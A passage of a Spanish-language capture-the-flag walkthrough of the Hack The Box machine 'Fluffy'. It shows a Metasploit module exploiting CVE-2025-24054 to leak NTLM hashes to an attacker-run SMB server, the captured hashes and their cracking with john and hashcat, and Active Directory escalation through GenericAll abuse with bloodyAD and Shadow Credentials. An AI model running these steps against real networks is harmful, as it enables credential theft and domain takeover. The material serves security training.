En este caso desarrollé un módulo para integrarlo en Metasploit, el cual permite configurar y generar el archivo `.zip` que posteriormente será subido al servidor `SMB` objetivo y ubicado en el recurso `IT`. Para obtener este modulo ([`auxiliary/server/ntlm_hash_leak`](/securitylayer/como-usar-metasploit/msfconsole/modulos-and-exploits.md#auxiliary-server-ntlm_hash_leak)) visita el siguiente repo: [**CVE-2025-24054-Metasploit-Module**](https://github.com/SecurityLayer404/CVE-2025-24054-24071---Metasploit-Module). Una vez cargado el exploit, es necesario levantar un servidor en nuestro equipo utilizando herramientas como `Impacket-smbserver`, `Responder` o también el módulo `auxiliary/server/capture/smb` de metasploit con el objetivo de capturar los hashes. A continuación, se detalla el procedimiento paso a paso:

1\) Configuramos el exploit desde [***Metasploit***](/securitylayer/como-usar-metasploit/msfconsole.md):

<pre class="language-vim"><code class="lang-vim"><strong>❯ msfconsole -q
</strong><strong>[msf](Jobs:0 Agents:0) >> use auxiliary/server/ntlm_hash_leak
</strong><strong>[msf](Jobs:0 Agents:0) auxiliary(server/ntlm_hash_leak) >> show options
</strong>
Module options (auxiliary/server/ntlm_hash_leak):

   Name          Current Setting       Required  Description
   ----          ---------------       --------  -----------
   ATTACKER_IP                         yes       IP where your Responder/SMB Capture is running
   FILENAME      exploit.zip           yes       The name of the ZIP file
   LIBRARY_NAME  documents.library-ms  yes       Name of the .library-ms file
   SHARE_NAME    backup                yes       Fictitious SMB share name

<strong>[msf](Jobs:0 Agents:0) auxiliary(server/ntlm_hash_leak) >> set attacker_ip 10.10.16.60
</strong>attacker_ip => 10.10.16.60
<strong>[msf](Jobs:0 Agents:0) auxiliary(server/ntlm_hash_leak) >> set filename exploit.zip
</strong>filename => exploit.zip
<strong>[msf](Jobs:0 Agents:0) auxiliary(server/ntlm_hash_leak) >> set library_name documents
</strong>library_name => documents
<strong>[msf](Jobs:0 Agents:0) auxiliary(server/ntlm_hash_leak) >> set share_name backup
</strong>share_name => backup
[msf](Jobs:0 Agents:0) auxiliary(server/ntlm_hash_leak) >> run
<strong>[+] exploit.zip stored at /root/.msf4/local/exploit.zip
</strong>[+] Module written by securitylayer. ZIP saved in: /root/.msf4/local/exploit.zip
[*] Auxiliary module execution completed
</code></pre>

2\) Me conecto al SMB objetivo y cargo el <kbd>.zip</kbd> en el directorio <kbd>IT</kbd>

<pre class="language-vim"><code class="lang-vim"><strong>❯ smbclient //fluffy.htb/IT -U j.fleischman
</strong>Password for [WORKGROUP\j.fleischman]:
Try "help" to get a list of possible commands.
<strong>smb: \> dir
</strong>  .                                   D        0  Wed Apr  1 07:09:59 2026
  ..                                  D        0  Wed Apr  1 07:09:59 2026
  Everything-1.4.1.1026.x64           D        0  Fri Apr 18 12:08:44 2025
  Everything-1.4.1.1026.x64.zip       A  1827464  Fri Apr 18 12:04:05 2025
  KeePass-2.58                        D        0  Fri Apr 18 12:08:38 2025
  KeePass-2.58.zip                    A  3225346  Fri Apr 18 12:03:17 2025
  Upgrade_Notice.pdf                  A   169963  Sat May 17 11:31:07 2025

		5842943 blocks of size 4096. 2233902 blocks available
<strong>smb: \> put exploit.zip
</strong>putting file exploit.zip as \exploit.zip (0,4 kb/s) (average 0,4 kb/s)
<strong>smb: \> dir
</strong>  .                                   D        0  Wed Apr  1 07:10:46 2026
  ..                                  D        0  Wed Apr  1 07:10:46 2026
  Everything-1.4.1.1026.x64           D        0  Fri Apr 18 12:08:44 2025
  Everything-1.4.1.1026.x64.zip       A  1827464  Fri Apr 18 12:04:05 2025
<strong>  exploit.zip                         A      305  Wed Apr  1 07:10:46 2026
</strong>  KeePass-2.58                        D        0  Fri Apr 18 12:08:38 2025
  KeePass-2.58.zip                    A  3225346  Fri Apr 18 12:03:17 2025
  Upgrade_Notice.pdf                  A   169963  Sat May 17 11:31:07 2025
</code></pre>

3\) Levanto un servidor con [***impacket-smbserver***](/securitylayer/pentesting-tools/tools/suite-impacket.md#impacket-smbserver) para recibir los hashes:

{% code expandable="true" %}

```vim
❯ impacket-smbserver -smb2support share .
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.129.232.88,51167)
[*] AUTHENTICATE_MESSAGE (FLUFFY\p.agila,DC01)
[*] User DC01\p.agila authenticated successfully
[*] p.agila::FLUFFY:aaaaaaaaaaaaaaaa:1672d8a43036cd370b2f3ec0dd5d239f:01010000000000008087c3788ac1dc01225725f28fa9b65600000000010010004400430075004500430078005300650003001000440043007500450043007800530065000200100051006800640067007400720049006a000400100051006800640067007400720049006a00070008008087c3788ac1dc010600040002000000080030003000000000000000010000000020000004d3690df628f48c1198002771e312d027f3314c7ead5d64d10ae954b9d8d2080a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310036002e00360030000000000000000000
[*] Closing down connection (10.129.232.88,51167)
[*] Remaining connections []
[*] Incoming connection (10.129.232.88,51168)
[*] AUTHENTICATE_MESSAGE (FLUFFY\p.agila,DC01)
[*] User DC01\p.agila authenticated successfully
[*] p.agila::FLUFFY:aaaaaaaaaaaaaaaa:526c410cfd5a2712999299c7bbeefad4:0101000000000000001e5c798ac1dc01ca6374fc2ebd161700000000010010004400430075004500430078005300650003001000440043007500450043007800530065000200100051006800640067007400720049006a000400100051006800640067007400720049006a0007000800001e5c798ac1dc010600040002000000080030003000000000000000010000000020000004d3690df628f48c1198002771e312d027f3314c7ead5d64d10ae954b9d8d2080a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310036002e00360030000000000000000000
[*] Closing down connection (10.129.232.88,51168)
[*] Remaining connections []
[*] Incoming connection (10.129.232.88,51169)
[*] AUTHENTICATE_MESSAGE (FLUFFY\p.agila,DC01)
[*] User DC01\p.agila authenticated successfully
[*] p.agila::FLUFFY:aaaaaaaaaaaaaaaa:250e42a06f4e7d428200d29a4b0ff505:0101000000000000004b8d7a8ac1dc013e3ebde72bb0bc4300000000010010004400430075004500430078005300650003001000440043007500450043007800530065000200100051006800640067007400720049006a000400100051006800640067007400720049006a0007000800004b8d7a8ac1dc010600040002000000080030003000000000000000010000000020000004d3690df628f48c1198002771e312d027f3314c7ead5d64d10ae954b9d8d2080a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310036002e00360030000000000000000000
[*] Closing down connection (10.129.232.88,51169)
[*] Remaining connections []
[*] Incoming connection (10.129.232.88,51173)
[*] AUTHENTICATE_MESSAGE (FLUFFY\p.agila,DC01)
[*] User DC01\p.agila authenticated successfully
[*] p.agila::FLUFFY:aaaaaaaaaaaaaaaa:e234b1b5bec4bd256ecaba10399d4483:010100000000000080e1257b8ac1dc016810cb6b2fde7c6d00000000010010004400430075004500430078005300650003001000440043007500450043007800530065000200100051006800640067007400720049006a000400100051006800640067007400720049006a000700080080e1257b8ac1dc010600040002000000080030003000000000000000010000000020000004d3690df628f48c1198002771e312d027f3314c7ead5d64d10ae954b9d8d2080a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310036002e00360030000000000000000000
[*] Closing down connection (10.129.232.88,51173)
[*] Remaining connections []
```

{% endcode %}

Otra alternativa es levantar un servidor desde msfconsole con el siguiente modulo: [`auxiliary/server/capture/smb`](/securitylayer/como-usar-metasploit/msfconsole/modulos-and-exploits.md#auxiliary-server-capture-smb)

<pre class="language-vim"><code class="lang-vim"><strong>[msf](Jobs:0 Agents:0) >> use auxiliary/server/capture/smb
</strong><strong>[msf](Jobs:0 Agents:0) auxiliary(server/capture/smb) >> set srvhost 10.10.16.60
</strong>srvhost => 10.10.16.60
<strong>[msf](Jobs:0 Agents:0) auxiliary(server/capture/smb) >> run
</strong>[*] Auxiliary module running as background job 0.

[*] Server is running. Listening on 10.10.16.60:445
[*] Server started.
[msf](Jobs:1 Agents:0) auxiliary(server/capture/smb) >> [+] Received SMB connection on Auth Capture Server!
[SMB] NTLMv2-SSP Client     : 10.129.232.88
[SMB] NTLMv2-SSP Username   : FLUFFY\p.agila
[SMB] NTLMv2-SSP Hash       : p.agila::FLUFFY:9bcd7b000a66a2e1:7e08f08269c237af3bea4b12e60eefa4:0101000000000000806967020cc2dc013a3990e6c2bc73d9000000000200120057004f0052004b00470052004f00550050000100120057004f0052004b00470052004f00550050000400120057004f0052004b00470052004f00550050000300120057004f0052004b00470052004f005500500007000800806967020cc2dc01060004000200000008003000300000000000000001000000002000008b5a063637ceda3a5a20b76c70cade16864b298093ee76e1a9a91609add4aec50a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310036002e00360030000000000000000000
</code></pre>

### ***Hash cracking con John & Hashcat***

Una vez que logramos capturar los hashes vamos a pasarlos a un archivo (`hashes.txt`) para crackearlos con [***Hashcat***](/securitylayer/pentesting-tools/tools/hashcat.md) o [***JohnTheRipper***](/securitylayer/pentesting-tools/tools/john-the-ripper.md)

<pre class="language-viml" data-expandable="true"><code class="lang-viml"><strong>❯ john --format=netntlmv2 hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
</strong>Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 4 password hashes with 4 different salts (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 3 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
<strong>prometheusx-303  (p.agila)
</strong></code></pre>

<pre class="language-viml" data-expandable="true"><code class="lang-viml"><strong>❯ hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt
</strong>hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #1: cpu-sandybridge-Intel(R) Core(TM) i3-10105F CPU @ 3.70GHz, 2142/4349 MB (1024 MB allocatable), 3MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 4 digests; 4 unique digests, 4 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Not-Iterated

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 0 MB

Dictionary cache building /usr/share/wordlists/rockyou.txt: 33553434 bytes (Dictionary cache building /usr/share/wordlists/rockyou.txt: 134213744 bytes Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 1 sec

<strong>P.AGILA::FLUFFY:aaaaaaaaaaaaaaaa:526c410cfd5a2712999299c7bbeefad4:0101000000000000001e5c798ac1dc01ca6374fc2ebd161700000000010010004400430075004500430078005300650003001000440043007500450043007800530065000200100051006800640067007400720049006a000400100051006800640067007400720049006a0007000800001e5c798ac1dc010600040002000000080030003000000000000000010000000020000004d3690df628f48c1198002771e312d027f3314c7ead5d64d10ae954b9d8d2080a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310036002e00360030000000000000000000:prometheusx-303
</strong>P.AGILA::FLUFFY:aaaaaaaaaaaaaaaa:250e42a06f4e7d428200d29a4b0ff505:0101000000000000004b8d7a8ac1dc013e3ebde72bb0bc4300000000010010004400430075004500430078005300650003001000440043007500450043007800530065000200100051006800640067007400720049006a000400100051006800640067007400720049006a0007000800004b8d7a8ac1dc010600040002000000080030003000000000000000010000000020000004d3690df628f48c1198002771e312d027f3314c7ead5d64d10ae954b9d8d2080a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310036002e00360030000000000000000000:prometheusx-303
P.AGILA::FLUFFY:aaaaaaaaaaaaaaaa:1672d8a43036cd370b2f3ec0dd5d239f:01010000000000008087c3788ac1dc01225725f28fa9b65600000000010010004400430075004500430078005300650003001000440043007500450043007800530065000200100051006800640067007400720049006a000400100051006800640067007400720049006a00070008008087c3788ac1dc010600040002000000080030003000000000000000010000000020000004d3690df628f48c1198002771e312d027f3314c7ead5d64d10ae954b9d8d2080a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310036002e00360030000000000000000000:prometheusx-303
P.AGILA::FLUFFY:aaaaaaaaaaaaaaaa:e234b1b5bec4bd256ecaba10399d4483:010100000000000080e1257b8ac1dc016810cb6b2fde7c6d00000000010010004400430075004500430078005300650003001000440043007500450043007800530065000200100051006800640067007400720049006a000400100051006800640067007400720049006a000700080080e1257b8ac1dc010600040002000000080030003000000000000000010000000020000004d3690df628f48c1198002771e312d027f3314c7ead5d64d10ae954b9d8d2080a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310036002e00360030000000000000000000:prometheusx-303
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: hashes.txt
Time.Started.....: Wed Apr  1 21:10:24 2026 (10 secs)
Time.Estimated...: Wed Apr  1 21:10:34 2026 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  1800.7 kH/s (0.70ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 4/4 (100.00%) Digests (total), 4/4 (100.00%) Digests (new), 4/4 (100.00%) Salts
Progress.........: 18069504/57377540 (31.49%)
Rejected.........: 0/18069504 (0.00%)
Restore.Point....: 4515840/14344385 (31.48%)
Restore.Sub.#1...: Salt:3 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: proretriever -> prom1010
Hardware.Mon.#1..: Util: 92%
</code></pre>

<details>

<summary>📌 <em><strong>Desglose de parámetros</strong></em></summary>

***JohnTheRipper***

* `--format=netntlmv2` → Indica el tipo de hash específico. `NTLMv2` es el que se captura en red (vía SMB/HTTP). No confundir con `nt`, que es el hash almacenado localmente en el `SAM` o `NTDS.dit`.
* `hashes.txt` → El archivo donde guardamos los hashes capturados.
* `--wordlist=` → El diccionario de contraseñas (RockYou es el estándar).

***Hashcat***&#x20;

* `-m 5600` → El código de modo para `NetNTLMv2`. Hashcat usa números en lugar de nombres. Si fuera un hash de Kerberos (TGS), usarías `13100`.
* `hashes.txt` → El archivo con los hashes.
* `/usr/share/wordlists/rockyou.txt` → El diccionario (en Hashcat, el diccionario siempre va al final sin flags específicas).

</details>

Tenemos nuevas credenciales: `p.agila:prometheusx-303`\
Ahora voy a volver a usar el script de [*service\_validation*](https://github.com/SecurityLayer404/service_validation) para verificar a que servicios podemos acceder y por donde continuar la intrusión:

<pre class="language-viml"><code class="lang-viml">❯ ./service_validation.sh 10.129.232.88 p.agila 'prometheusx-303'
[*] Probando credenciales contra 10.129.232.88 con usuario 'p.agila'...

--- Probando smb ---
SMB         10.129.232.88   445    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.232.88   445    DC01             [+] fluffy.htb\p.agila:prometheusx-303 

--- Probando ldap ---
LDAP        10.129.232.88   389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:None) (channel binding:Never) 
<strong>LDAP        10.129.232.88   389    DC01             [+] fluffy.htb\p.agila:prometheusx-303 
</strong>
--- Probando winrm ---
WINRM       10.129.232.88   5985   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) 
WINRM       10.129.232.88   5985   DC01             [-] fluffy.htb\p.agila:prometheusx-303
</code></pre>

### ***Enumeración de objetos vía LDAP con BloodHound***

Aprovechando que tenemos acceso a `LDAP` vamos a realizar una enumeración más exhaustiva con bloodhound para ver si existe algun permiso, grupo o cuenta que tenga relacion con `p.agila` y nos permita movernos lateralmente o conectarnos de forma remota al dominio:

{% code expandable="true" %}

```vimscript
❯ bloodhound-python -d fluffy.htb -u 'p.agila' -p 'prometheusx-303' -dc dc01.fluffy.htb -c all --zip -ns 10.129.232.88
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: fluffy.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: dc01.fluffy.htb
INFO: Testing resolved hostname connectivity dead:beef::122
INFO: Trying LDAP connection to dead:beef::122
INFO: Testing resolved hostname connectivity dead:beef::f0ca:4dc3:593b:64fd
INFO: Trying LDAP connection to dead:beef::f0ca:4dc3:593b:64fd
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.fluffy.htb
INFO: Testing resolved hostname connectivity dead:beef::122
INFO: Trying LDAP connection to dead:beef::122
INFO: Testing resolved hostname connectivity dead:beef::f0ca:4dc3:593b:64fd
INFO: Trying LDAP connection to dead:beef::f0ca:4dc3:593b:64fd
INFO: Found 10 users
INFO: Found 54 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.fluffy.htb
INFO: Done in 00M 55S
INFO: Compressing output into 20260402134435_bloodhound.zip
❯ ls
 20260402134435_bloodhound.zip
```

{% endcode %}

<details>

<summary>📌 <em><strong>Desglose de parámetros</strong></em></summary>

* `-d fluffy.htb` → El nombre del dominio que vamos a auditar.
* `-u` / `-p` → Las credenciales que ya tenemos (en este caso, las de `p.agila`).
* `-dc` → Especifica el nombre del Controlador de Dominio (Domain Controller).
* `-c all` → "Collection Method": Le pedimos que recolecte todo (Grupos, Usuarios, Sesiones, GPOs, ACLs, Trusts).
* `--zip` → Comprime automáticamente los archivos `JSON` resultantes en un solo `.zip` para facilitar la carga al dashboard de bloodhound.
* `-ns` → Indica el Name Server (IP del DC). Crucial en HTB si tu máquina no tiene configurado el DNS de la víctima en el `/etc/hosts`.

</details>

Otra herramienta que cuenta con el módulo de bloodhound integrado es nxc:

{% code expandable="true" %}

```vimscript
❯ nxc ldap DC01.fluffy.htb -u p.agila -p 'prometheusx-303' --bloodhound --dns-server 10.129.232.88 --collection all
LDAP        10.129.232.88   389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:None) (channel binding:Never) 
LDAP        10.129.232.88   389    DC01             [+] fluffy.htb\p.agila:prometheusx-303 
LDAP        10.129.232.88   389    DC01             Resolved collection methods: localadmin, session, group, objectprops, container, psremote, acl, dcom, rdp, trusts
LDAP        10.129.232.88   389    DC01             Done in 0M 50S
LDAP        10.129.232.88   389    DC01             Compressing output into /root/.nxc/logs/DC01_10.129.232.88_2026-04-02_133443_bloodhound.zip
```

{% endcode %}

<details>

<summary>📌 <em><strong>Desglose de parámetros</strong></em></summary>

* `ldap` → El protocolo que se usará para consultar la base de datos de objetos del AD.
* `DC01.fluffy.htb` → Especifica el nombre del Controlador de Dominio (Domain Controller).
* `-u p.agila -p 'prometheusx-303'` → Las credenciales que ya tenemos (en este caso, las de `p.agila`).
* `--bloodhound` → Activa el módulo específico para generar datos compatibles con BloodHound.
* `--dns-server` → Le dice a `nxc` a qué IP preguntar para resolver nombres del dominio.
* `--collection all` → Indica que queremos una recolección exhaustiva de datos.

</details>

Una vez que tenemos el comprimido con todos los objetos del dominio abrimos la GUI de bloodhound para analizar de forma gráfica las relaciones (grupos) y conexiones (permisos). Si queres aprender más sobre esta herramienta te recomiendo que leas el siguiente artículo:

### [***Primeros pasos en BloodHound***](https://medium.com/@securitylayer/primeros-pasos-en-bloodhound-1a3bd1b77f8c) <a href="#id-61ba" id="id-61ba"></a>

Al revisar los grupos a los que pertenece el usuario `p.agila` encontramos que esta dentro de `Service Account Manager`, y a su vez este grupo tiene un permiso llamado `GenericAll` sobre otro grupo del dominio llamado `SERVICE ACCOUNTS`

<figure><img src="/files/HfhEppVygC5cUkPzGxMb" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/u0T5faJSET2HfFZM3cRA" alt="" width="539"><figcaption></figcaption></figure>

El grupo `SERVICE ACCOUNTS` tiene como miembros 3 cuentas de servicios, en principio nos interesa `WINRM_SVC` por que es miembro de `Remote Management Users` y podríamos tener una vía de acceso remoto, pero también está la cuenta  `CA_SVC` (CA son las siglas de Certification Authority) que pertenece al servidor de `AD CS` (Active Directory Certificate Services), el encargado de emitir, gestionar y validar certificados digitales. Entonces tenemos dos vías muy críticas de acceso al Domain Admin.

<figure><img src="/files/18YiVgc75ELK6ANayeKs" alt="" width="521"><figcaption></figcaption></figure>

Viendo este mapa ahora vamos a usar los permisos `GenericAll` y `GenericWrite` para llegar hasta la cuenta de `WINRM_SVC`

<details>

<summary>📌 <kbd>GenericAll - GenericWrite</kbd></summary>

***GenericAll (Full Control)***

Este permiso representa el nivel máximo de autoridad sobre un objeto y equivale a tener Control Total. Quien posee `GenericAll` puede realizar cualquier acción imaginable: leer todas las propiedades, ***modificar cualquier atributo***, cambiar los permisos de seguridad (DACL) para ***añadir a otros usuarios*** y hasta tomar posesión del objeto (*Take Ownership*). En términos de ciberseguridad, es el permiso más crítico; si un atacante obtiene `GenericAll` sobre un usuario, puede simplemente resetearle la contraseña y suplantarlo de inmediato. Si lo obtiene sobre un grupo, ***puede añadir cualquier cuenta (incluida la suya) para heredar todos los privilegios de ese grupo***.

***GenericWrite (Write All Properties)***

El permiso `GenericWrite` es una versión un poco más restringida pero igualmente peligrosa, ya que otorga la capacidad de ***actualizar y modificar prácticamente todos los atributos del objeto***. Aunque técnicamente no permite cambiar los permisos de seguridad o el dueño (como sí hace el `GenericAll`), permite alterar campos vitales como el `scriptPath` (para ejecutar un script malicioso cuando el usuario inicie sesión) o el `servicePrincipalName` (SPN). En ataques modernos, tener `GenericWrite` sobre una cuenta de computadora es el ingrediente principal para realizar una "Delegación Restringida Basada en Recursos" (***Resource-Based Constrained Delegation***), lo que permite a un atacante comprometer ese servidor por completo.

</details>

<figure><img src="/files/2hDbTOM4GSDYVVSBGNMt" alt="" width="563"><figcaption></figcaption></figure>

### ***Abusing GenericAll con bloodyAD*** <a href="#id-9a62" id="id-9a62"></a>

Ahora voy a añadir al usuario `p.agila` al grupo de `Service Accounts`. Podemos hacer esto porque nuestro usuario tiene el permiso `GenericAll` sobre ese grupo. La tool que voy a usar para hacerle esta petición al dominio es [***bloodyAD***](/securitylayer/pentesting-tools/tools/bloodyad.md)

{% code expandable="true" %}

```viml
❯ bloodyAD --host dc01.fluffy.htb --dc-ip 10.129.14.213 -d fluffy.htb -u 'p.agila' -p 'prometheusx-303' add groupMember 'Service Accounts' p.agila
[+] p.agila added to Service Accounts
```

{% endcode %}

<details>

<summary>📌 <em><strong>Desglose de parámetros</strong></em></summary>

* `--host dc01.fluffy.htb` → Nombre del host del Controlador de Dominio (DC) al que queremos conectarnos.
* `--dc-ip 10.129.14.213` → Fuerza la conexión a una IP específica, evitando fallos si el nombre anterior no resuelve por DNS.
* `-d fluffy.htb` → Especifica el nombre del dominio de Active Directory.
* `-u 'p.agila'` → Usuario con el que nos autenticamos (el que tiene el permiso `GenericAll`).
* `-p 'prometheusx-303'` → Contraseña del usuario.
* `add groupMember` → Función/Módulo que ordena añadir un nuevo objeto a la lista de miembros de un grupo.
* `'Service Accounts'` → El nombre del grupo objetivo que queremos modificar.
* `p.agila` → El objeto (usuario) que queremos insertar dentro del grupo `Service Accounts`.

</details>

Una vez que agregamos al usuario `p.agila` al grupo `Service Accounts` vamos a verificar que el dominio haya realizado el cambio para poder seguir con el ataque. Podemos usar [***net rpc***](/securitylayer/comand-line-tools/linux/net.md) para pedirle al servidor que enumere quiénes están dentro del grupo:

<pre class="language-viml" data-expandable="true"><code class="lang-viml"><strong>❯ net rpc group members 'Service Accounts' -U fluffy.htb/p.agila%prometheusx-303 -S 10.129.14.213
</strong>FLUFFY\ca_svc
FLUFFY\ldap_svc
<strong>FLUFFY\p.agila
</strong>FLUFFY\winrm_svc
</code></pre>

<details>

<summary>📌 <em><strong>Desglose de parámetros</strong></em></summary>

* `net` → Herramienta de administración para sistemas Samba y Windows.
* `rpc` → Indica que la comunicación se realizará mediante *Remote Procedure Call*.
* `group members` → Acción específica para listar todos los integrantes de un grupo determinado.
* `'Service Accounts'` → Nombre del grupo cuyos miembros queremos visualizar.
* `-U` → Credenciales de autenticación en formato `DOMINIO/usuario%password`.
* `-S 10.129.14.213` → Dirección IP del servidor (DC) al que enviamos la consulta RPC.

</details>

También podemos usar nxc para pedirle al servidor `LDAP` que nos devuelva el atributo `memberOf` de `p.agila` . A veces un grupo dice que x usuario es miembro, pero el objeto de usuario todavía no ha actualizado su "**token**". Si aca aparece `CN=Service Accounts`, significa que efectivamente heredamos todos los privilegios de ese grupo.

{% code expandable="true" %}

```viml
❯ nxc ldap 10.129.14.213 -u 'p.agila' -p 'prometheusx-303' --query "(sAMAccountName=p.agila)" memberOf
LDAP        10.129.14.213   389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:None) (channel binding:Never) 
LDAP        10.129.14.213   389    DC01             [+] fluffy.htb\p.agila:prometheusx-303 
LDAP        10.129.14.213   389    DC01             [+] Response for object: CN=Prometheus Agila,CN=Users,DC=fluffy,DC=htb
LDAP        10.129.14.213   389    DC01             memberOf             CN=Service Accounts,CN=Users,DC=fluffy,DC=htb
LDAP        10.129.14.213   389    DC01                                  CN=Service Account Managers,CN=Users,DC=fluffy,DC=htb
```

{% endcode %}

<details>

<summary>📌 <em><strong>Desglose de parámetros</strong></em></summary>

* `nxc ldap` → Ejecuta `netexec` utilizando el protocolo `LDAP` para consultar la base de datos del AD.
* `-u` / `-p` → Credenciales para la unión (bind) al servidor `LDAP`.
* `--query` → Permite realizar una búsqueda personalizada utilizando filtros `LDAP` estándar.
* `"(sAMAccountName=p.agila)"` → El filtro de búsqueda: busca el objeto cuyo nombre de cuenta sea exactamente `p.agila`.
* `memberOf` → El atributo específico que queremos leer del objeto encontrado. Nos dirá a qué grupos pertenece el usuario.

</details>

### ***Abusing GenericWrite (Shadow Credentials) con certipy***

El grupo `Service Accounts` tiene el permiso `GenericWrite` sobre la cuenta `winrm_svc`. Al ser ahora miembros del grupo, nosotros (`p.agila`) heredamos ese permiso de escritura. Lo que nos habilita a realizar un ataque de Shadow Credentials: Cómo `p.agila` ahora puede escribir en `winrm_svc`, le añadimos un ***certificado digital*** (una "llave secreta") que nosotros controlamos. Windows permite esto para facilitar la autenticación sin contraseñas (Windows Hello for Business). Con este certificado en nuestro poder podemos pedirle al servidor un ticket de Kerberos. El servidor ve el certificado legítimo, asume que somos `winrm_svc` y nos entrega su Hash NT.&#x20;

<details>

<summary>📌 <em><strong>Shadow Credentials</strong></em></summary>

El ataque de Shadow Credentials es un abuso de diseño de una funcionalidad legítima de Windows: Windows Hello for Business (WHfB). Esta característica fue diseñada para permitir inicios de sesión sin contraseña (PIN o biometría) en entornos empresariales.

Para que un usuario pueda entrar sin contraseña, su equipo genera un par de llaves criptográficas (pública y privada). La llave pública debe guardarse en algún lugar donde el Controlador de Dominio (DC) pueda consultarla. Ese lugar es el atributo `msDS-KeyCredentialLink`.

> Definición Técnica: El `msDS-KeyCredentialLink` es un atributo de Active Directory (introducido en Windows Server 2016) que almacena estructuras de datos llamadas "Key Credentials". Estas contienen la llave pública del dispositivo, un identificador de dispositivo y otros metadatos necesarios para validar la identidad del usuario sin usar su hash NTLM.

Normalmente, Kerberos usa criptografía simétrica (basada en la contraseña del usuario). Sin embargo, para soportar llaves públicas y certificados, se utiliza una extensión llamada PKINIT (*Public Key Cryptography for Initial Authentication in Kerberos*).

* El Proceso: Cuando intentas autenticarte, envías una solicitud al KDC (Key Distribution Center) firmada con tu llave privada.
* La Validación: El KDC busca en el atributo `msDS-KeyCredentialLink` de tu cuenta la llave pública correspondiente. Si el desafío matemático coincide (la llave pública descifra lo que la privada firmó), el DC confirma tu identidad.
* El Resultado: El KDC te entrega un Ticket Granting Ticket (TGT). A partir de este ticket, puedes obtener acceso a cualquier servicio o incluso extraer el NT Hash del usuario.

En Active Directory, la seguridad es dictada por las ACLs (Listas de Control de Acceso). Si el sistema otorga al usuario `p.agila` permisos de `GenericWrite` sobre `winrm_svc`, el Controlador de Dominio asume que cualquier cambio que `p.agila` escriba sobre ese objeto es una acción administrativa autorizada.

En este contexto, "escribir" es equivalente a editar un campo en una base de datos centralizada. Mediante el protocolo LDAP, el atacante envía un paquete indicando: *"Actualiza el campo msDS-KeyCredentialLink del usuario winrm\_svc con este valor (mi llave pública)"*.

El DC no cuestiona la intención; simplemente verifica que el solicitante tenga el permiso y actualiza la "columna" correspondiente en el Directorio Activo. Al hacerlo, el atacante le ha "regalado" una llave de acceso al usuario víctima.

Para identificar este vector como viable durante una intrusión, deben cumplirse los siguientes factores:

1. Nivel Funcional del Dominio: Mínimo Windows Server 2016 (o 2012 R2 con parches específicos) para que el esquema de AD reconozca el atributo.
2. Disponibilidad del Atributo: No es necesario que la empresa use Windows Hello; solo basta con que el esquema de AD sea moderno. El campo estará presente aunque esté vacío.
3. Permisos de Control de Objetos: El atacante debe poseer privilegios de `GenericWrite`, `GenericAll`, `Owns` o el específico `WriteProperty` sobre el atributo en la cuenta objetivo.
4. Soporte de PKINIT: El KDC debe tener un certificado de Controlador de Dominio instalado (algo estándar en entornos que manejan certificados o autenticaciones modernas).

